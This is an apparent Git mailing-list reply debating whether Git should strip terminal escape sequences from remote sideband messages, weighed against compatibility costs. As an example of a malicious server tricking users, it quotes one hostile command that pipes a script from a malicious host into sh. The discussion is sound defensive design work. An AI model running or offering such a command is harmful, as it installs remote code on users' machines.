"brian m. carlson" <sandals@xxxxxxxxxxxxxxxxxxxx> writes:
> Where pre-receive hooks are available, people frequently run various
> commands to test and analyze code in them, including build or static
> analysis tools, such as Rust's Cargo. Cargo is capable of printing a
> wide variety of escape sequences in its output, including `\e[K`, which
> overwrites text to the right (e.g., for progress bars and status output
> much like Git produces), and sequences for hyperlinks. Stripping these
> sequences would break the output in ways that would be confusing to the
> user (since they work fine in a regular terminal) and hard to
> reproduce or fix.
You have ruled out the attack vector that lets bytestream sent to
the terminal emulator to somehow cause arbitrary input bytes added
(which may require the final <ENTER> from the user but that is not
much of consolation), and I tend to agree with you on that point.
With that misfeature out of the picture, I am not sure why terminal
escape sequences that may clear or write-over things on the screen
are of particular interest. If the malicious remote end says
something like
To proceed, open another window and type this command:
$ curl https://my.malicious.xz/install.sh | sh
to its output, even if the message is shown with the "remote: "
prefix on the receiving local client, wouldn't that cause certain
percentage of end-user population to copy-and-paste that command
anyway?
> I agree that this would have been a nice feature to add at the beginning
> of the development of the sideband feature, but I fear that it is too
> late to make an incompatible change now.
So I am not so sure even it would have been a "nice feature" to disallow
sideband messages to carry terminal escape sequences to begin with.
> I realize that you've provided an escape hatch, but as we've seen with
> other defense-in-depth measures, that doesn't avoid the inconvenience
> and hassle of dealing with those changes and the costs of deploying
> fixes everywhere.
One more thing that I am not so happy about these "escape hatches"
is that they tend to be all or nothing (not limited to this round,
but common to other defense-in-depth attempts). Having to say "I
trust them completely" is something that would make people uneasy.
> We need to consider the costs and impact of these
> patches on our users, including the burden of dealing with incompatible
> changes, and given the fact that this problem can occur in a wide
> variety of other contexts which you are not solving here and which would
> be better solved more generally in terminal emulators themselves, I
> don't think the benefits of this approach outweigh the downsides.
>
> I do agree that there are terminal emulators which have some surprising
> and probably insecure behaviour, as we've discussed in the past, but
> because I believe those issues are more general and could be a problem
> for any terminal-using program, I continue to believe that those issues
> are best addressed in the terminal emulator itself.
